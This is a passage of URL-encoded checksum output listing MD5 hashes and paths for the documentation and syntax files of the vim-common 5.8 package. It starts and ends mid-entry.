%2Fhowto.txt%0A6bbaa935ba84f78254dc59007662195f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fif_python.txt%0A0df2509658d23bf9c30a9bd260923e8a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fif_ole.txt%0A63a28fa7fda1884779bbd04e54ff67e5%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fif_perl.txt%0A134b11f86f24c718e9f5210f48a797f1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fif_sniff.txt%0A8428648c69ca916d495d285a667112aa%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fif_tcl.txt%0A19abc65b7360afbba17bac210cf7d4f4%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Findex.txt%0Ae2807333a71144598830d9c61863f9dd%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Finsert.txt%0A7e0f70c19c63323e0b10c5fe16fbb783%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fintro.txt%0A02000559e0015e7d3d657c2733fb7974%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fmakehtml.awk%0Aa1d51257645b6bef160f6884fa5789f6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fmaketags.awk%0A061547baa686ea64139416b53111bf5e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fmap.txt%0A132442e0de69f68f31de7c310b3b5c4e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fmessage.txt%0A084645bffde3151a98ae5bee9b61718f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fmotion.txt%0A85e09757b39ea779cf267085509f9d70%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fmultibyte.txt%0Afe119b6833dda612d63322235c2c0e77%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Foptions.txt%0A1335d1ea075b6b4fabc84f3a7fdd2d7f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_amiga.txt%0A386c2b6ecb5f8e52950754ff0bb6c7ad%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_beos.txt%0A1d9f399040fee36b259a609d7c68f493%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_dos.txt%0Aa846c38826dabf1ffba7a0225b014211%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_mac.txt%0A919597586429bbd4f0c3a736e0fb4551%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_mint.txt%0Ac5b8ed1ae7bb8ad1d9261ef0fcd29107%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_msdos.txt%0Aa8b7d9f870473e3f631c97bfc5a1ecb6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_os2.txt%0A97012222095b7d5c7202c1792e252498%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_riscos.txt%0A206ac9aa6f3813333e1c4b59ef0f38ab%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_unix.txt%0Aaf9f76ce818955bd622ba2e94afd2fa5%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_vms.txt%0A43d8e9c34c5fcffd9d6c1bd98eb45dd2%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fos_win32.txt%0A583a5edc8c91275d8b37c66da18bbd41%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fpattern.txt%0A72d2ef9d8105c64fea52e8a5fbf3bf38%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fquickfix.txt%0A0148a5d810746c8495af8e2b528f83ce%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fquotes.txt%0A23d7e7e9952a26a10f82633920136a09%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Frecover.txt%0Ab67fc957211b5d29f9fb0465c94f5fe8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Frepeat.txt%0A18ea70bad4f9784a2128b9f8722a6337%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Frightleft.txt%0A7aff366df5cf0a61e62e706818038d5f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fscroll.txt%0A5f965f69670b31d4f607def25e290823%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fstarting.txt%0A39e1af2fad13c293c2cbf0be0b23e17a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fsyntax.txt%0Ade7278c3715d60b2a3e7b35d1dce7267%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Ftags%0A1d56dd94de0ba7ca511366a35073c846%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Ftagsearch.txt%0Aecc89209d6f63cfbf65e86c9dcb0663b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fterm.txt%0A803474e5ed375e57770367e79130e903%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Ftips.txt%0Ae08ebcc03fb8b67dc6d6cd2fd596df60%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Ftodo.txt%0Af55c2323f897302bb8a99d5c50642e25%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fuganda.txt%0Ada6f6f91726466e763d2b8894804ed7e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fundo.txt%0A80493cbdf4cd6cb2cb81332d0b4e2747%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fvarious.txt%0A525069a9266c4edbf7dc1551b8e7f543%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fversion4.txt%0A6382cb8e14fdbc09a4655d9a7d1bd236%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fversion5.txt%0A206f0440ff4e0d1a3ec1aa5b75b20168%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fvi_diff.txt%0A134236f81d72dad60121a466f757517f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fvim.1%0A6ca015797639cc69ab0f9c8fe9ffbd0b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fvim.1.docs%0A7e1f551f0ce31b9fb42a9ae8da17bfd0%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fvim.man%0A59be7dcf8c4314243d29360a163c2668%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fvim.man.info%0A83cadf8b7e7509bfab5eb30b9f65b5a1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fvim2html.pl%0A153fddbc60ec3236b770914b46a859d8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fvimtutor.1%0Abd8151e952c669aef5a49c4c224af214%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fvimtutor.man%0Abfdb6b6d4a1dfa26870e5607fbad0003%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fvisual.txt%0A60709dc42a03d7468092f9a2b329457b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fwindows.txt%0A3a6d30cdafbff47fac3cdfc997278027%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fxxd.1%0A924ede427c9d9c02b818d3936cbe1fd2%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fdoc%2Fxxd.man%0A26986bdd5553a36346060e31914b82e7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Ffiletype.vim%0Aee15357d1ea9081bf8d4cba9cb2d4e1b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_amibig.txt%0A01dffd3de6ad42f65ad7c9b40a9beb08%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_amibin.txt%0Aa79b373e41338a95397641b7505dd290%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_amisrc.txt%0A6459db725fbf9bddecfa2a9937c775f1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_dos.txt%0A308a6e4befc9a1678b85429635c0aee2%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_dosbin.txt%0A5f42a53581dab8b343526bb6a478742e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_dossrc.txt%0A6528b5a56a4d35e6e1d858be4bbfc6a9%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_extra.txt%0Af9a6553b7b6c6982846d0972f0916a23%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_ole.txt%0A27ec3fefea68732d3717604334ef424b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_os2.txt%0Af2e1f4645101aef247e46515ddbc5ad6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_src.txt%0A2774dbafa0a6df6c07d373eb6620c628%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_unix.txt%0A34eb8bc3691abba667dda3cb4a36536e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_vms.txt%0A002c8b6a059047ad15d25bc92eae295c%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2FREADME_w32s.txt%0A1aabeb30064bd427b0077ae495f0603f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fbugreport.vim%0Adead3307713a9661add70600bc9825d1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fgvimrc_example.vim%0A5faff8085180362c7df1e435d8e153d6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fftoff.vim%0A9ac590a5ea107a0d84874920b60d0add%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fapachestyle.vim%0A6b77f0e4fd22035656be07e1b0a07cdb%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2F2html.vim%0A1a0b264b4aed2be202298dee85aa2c27%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2FREADME.txt%0Af87c8af1915fcf2b7a3a8c24b79d7a46%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fabaqus.vim%0A46997f0c6785c6046ace8df370e89386%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fabc.vim%0A18963f33d8043c7d3342380a2a464a89%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fabel.vim%0A44aaca85ff91288292d89a758167bfc4%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Facedb.vim%0A873da5a9790b9f16525d02a7ef5e84cf%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fada.vim%0A78b0fea2f59efc0792a593869e415bc5%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Faflex.vim%0A439de573ebc2130d97c5f8f8478b58fe%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fahdl.vim%0A151ae5454506d65dddb6b69aacd7de19%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Famiga.vim%0Ac90983909f7b6045c7897c49cc4366ab%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Faml.vim%0A7e20587386e8d6079951de0235c7d8b5%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fantlr.vim%0Af0d864d26e42f1f83413315c5b1196b1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fapache.vim%0Aadee2ed801362279f455c89b73f4d817%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fasm68k.vim%0A428fe299d610000b797f1fc35d499268%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fasm.vim%0A46df9b2d7a44ccd2a7e6c73ba4465b79%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdebchangelog.vim%0A20de6f13a58713147382c68a52a46f72%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fasmh8300.vim%0Af84bbd006636184e01e260c6e718c6ca%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fasn.vim%0A9b91f325f0b8d570b3f0609259bca13d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Faspperl.vim%0Aa699f4a809acca7d4be406059894052d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Faspvbs.vim%0A6646a216735b5e139b2162790b3652aa%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fatlas.vim%0Abd4deb0659e599766a71402933dd6be1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fautomake.vim%0A0830bf2d8b330b562bd0356e3abeb4c8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fave.vim%0A64568763ce2ca4d174119344219ae8a7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fawk.vim%0A52eb3b4f751f252de7e3622632bdee0a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fayacc.vim%0A6357fa67efb4f4794e2f25e86fd46e27%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fb.vim%0Aecdf771d4f4aa0e9d4e872f15bc50a8b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fbasic.vim%0A9a025eea229659bdbc98ef3c881ae922%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fbc.vim%0A2658103dbaaa30070baea7f1c5da4aa5%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fbib.vim%0Ae16e01655437e746a562566dbc47a76e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fbindzone.vim%0A343cdd5fc57a3b94164580d36848c72d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fblank.vim%0A834f11b88bfee189abc67a4e7c5a51a0%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fbtm.vim%0Afa4f698317be401d49228c47c16a9e0f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fc.vim%0A25cb4736276b6d52b8a738e57643129e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcf.vim%0Aca363c8f078b3e5592b0d304d28ec083%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcfg.vim%0Ab29168a802c08248ddafc60b2b77c5a9%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fch.vim%0A07e8f1b13528898401cf52f0bfc8ee87%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fchange.vim%0A837d918cc06b4c6501ab93e63d2b29e1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fchangelog.vim%0A98a6fcd3f2162efeca2e2ed2bb9c1e0b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcl.vim%0A719d1de025e315b637ddd5e554643b27%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fclean.vim%0A4ebdadd972478cf7df9a50c95cfdfb69%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fclipper.vim%0Aa279e4542b0d56d1011abf9fd91da617%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcobol.vim%0A3b740ede1774ecc0eec8e2c90843e88f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcolortest.vim%0Ac655cc9b8440ab6e05c8422aed784890%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fconf.vim%0A1dd01d01acbdb911b97a6ea2cc7dd094%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fconfig.vim%0A0c63cd36de2bd36e8ca075f7bde0aab0%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcpp.vim%0A987ebf787857237bf8c867e1ead56022%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcrontab.vim%0Aa47718905df00cd27f040ddb832ded50%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcsc.vim%0A53a8d8cb70c0f1eac343a621d548a8d6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcsh.vim%0A54d67023b065cc32ba0f6352e0abdb60%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcsp.vim%0Acae9f3962683e77dd8b0eef231667dc9%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcss.vim%0Aad2af04c8f79dc07dffc08241c52310e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcterm.vim%0A21809cbb316ba9a4f1b96ec9a13c67c7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fctrlh.vim%0Ac0e3940cee2aa20689c847495720ae9d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcupl.vim%0A2e4c658952568556d07224f44e337306%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcuplsim.vim%0A78f65c07ac4d641653976a9c59d79cda%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcvs.vim%0A1e3a582c931fe0030dd4b6915583c36e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcweb.vim%0A8720a4a37975424a34ac441c16bd991c%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcynlib.vim%0Ade16a94577d78254e052997e724d7d91%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fcynpp.vim%0Ab3b10176c8aa723914c4c05924aee0e9%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdcl.vim%0Aba31ff5b20be47c4105a03bafbabcc20%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdebcontrol.vim%0A7c8db36254b492a16b050096efc853de%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdef.vim%0Ab991d151d76a09aafe34193910fb435c%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdiff.vim%0A4a354179acf5c12454b89662e4ee0aea%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdiva.vim%0A330841f3219dd05e82f1ce963ca5d9c9%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdns.vim%0Ac2575890c2e22687501e9115263e190f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdocbk.vim%0Ac29971f560edc07f5a2dfd95fb80aab6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdosbatch.vim%0A61520d223095345c4af9188ad476ea96%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdosini.vim%0Ab0c49956097a943174205dc8445c6811%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdracula.vim%0Aa458905b7c8b54439fe13be32e72c0bd%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdtd.vim%0A6e7b8117a5b981cc4891009d5619c07e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdtd.vim.pl2%0A42e516a4e929919989aa9cfbc48f9813%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdtml.vim%0Acd3489a22043fb9fe95d4948fd4b4d60%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdylan.vim%0A39e3e6ec55de86780f4ba45cb32a449b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdylanintr.vim%0A2cc9b0492ab42b5cd9e36b0561488b1f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fdylanlid.vim%0A19f18f4a95a44899f1db24d03edd78ba%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fecd.vim%0A99e9fc790246d97cdd366fa54bb2232d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Feiffel.vim%0A830f3ac6c190c5ce3e97869d3e1a19e1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Felf.vim%0Ab5da5b1e0cf09137313bc66dd672f76e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Felmfilt.vim%0Ac2ba13ddd85099cc461d05d634c25b0d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ferlang.vim%0Aaa5a1152da5ddd2cef565f7d9b3729fa%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fesqlc.vim%0A4df80d7ba58af8bc765d296ad4032a93%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fexpect.vim%0A95317e436d5cd0855b921ff982b30cab%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fexports.vim%0A99693f7ca4d8de35c948ecb08bd16e2e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ffgl.vim%0A769033609c977d0368ae7bd101a121f3%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ffocexec.vim%0A546041788d1f041ec585cbb5480f881a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fform.vim%0A0442a4e8f65f26fb7d6fcd65d3a9884c%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fforth.vim%0A484381f9a8ccd16a560e2474e50c94b5%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ffortran.vim%0Ac19d5bf7a8b8b589f2b694f40732ca24%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ffoxpro.vim%0Ade35a2ed985a1f7c7f9bdedac1450234%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ffvwm.vim%0A9bc067ca9e3e6eaf39d4569bbdb99fa7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fgdb.vim%0A2c6d7d98efd4d2d8c668d9b56afaa9bb%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fgdmo.vim%0Af7933fea6405f507794d8ee7d9d2ab0a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fgedcom.vim%0Ae2d05a1ca3f4ffe381a70992dd14234a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fgnuplot.vim%0A70e632c3c92f0f19129be65f1916b6cd%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fgp.vim%0A79baeb45f72402272d40b83e6ea9bdcb%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fgsp.vim%0A93b54ca6d9777bb1578d7dedcef9a0e6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fgtkrc.vim%0A1a7b395f49e527d08eecd1b9775c0480%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fhaskell.vim%0A1415e2bd6e4c7fc657a5f13cef0d751a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fhb.vim%0A2136bc645d689036fba49f4913800212%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fhelp.vim%0A004e7b32ffe71c1bd5980005a3b8b85b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fhercules.vim%0A916a64b675ef5d1a9b66ba20957a4e11%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fhitest.vim%0A809c8e662437ebd0973971b134c6fadc%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fhog.vim%0Afa1f1d6961ff8afff6f2fb739bba57ab%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fhtml.vim%0A50b9cdfbb3923c2c22bd645ad45c9467%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fhtmlm4.vim%0A1944da40513d244c760bc8695a61bee4%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fhtmlos.vim%0A8e93d8db16c79708954e3ca6076f730c%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fia64.vim%0A67e89aa8abb987d8853186ea37d6bd83%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ficon.vim%0Aef4610eea0b2e7617e76295658eea7f8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fidl.vim%0A4f7e33b37cf611daf4c32144d1c50df8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fidlang.vim%0A88fe34fe64c01418291c04a9dbf31ed2%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Finform.vim%0A3a01b59d72220388fcccd9a4e0aeee14%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Finittab.vim%0A74cf4b00f128968a36d1a9694a151717%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fishd.vim%0A594a3e60aa07ffd2251ecef09f927e5d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fiss.vim%0A328dba95e3455f873cc6996c64bf85de%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fist.vim%0A66ef3ca5ab74be5c0c3787bb94543f17%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fjam.vim%0A5f563d69692532b4796d037b43bef2d4%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fjava.vim%0A6d4d918f9aff07a8563072a7bb99ebbd%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fjavacc.vim%0Aaba44ffb6b7bcd4ba696e9753a865cc6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fjavascript.vim%0A635e6697231ba79441cd94d58265941a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fjess.vim%0Ac37dd501b28eaabe72106bce565f156e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fjgraph.vim%0Ac5c69d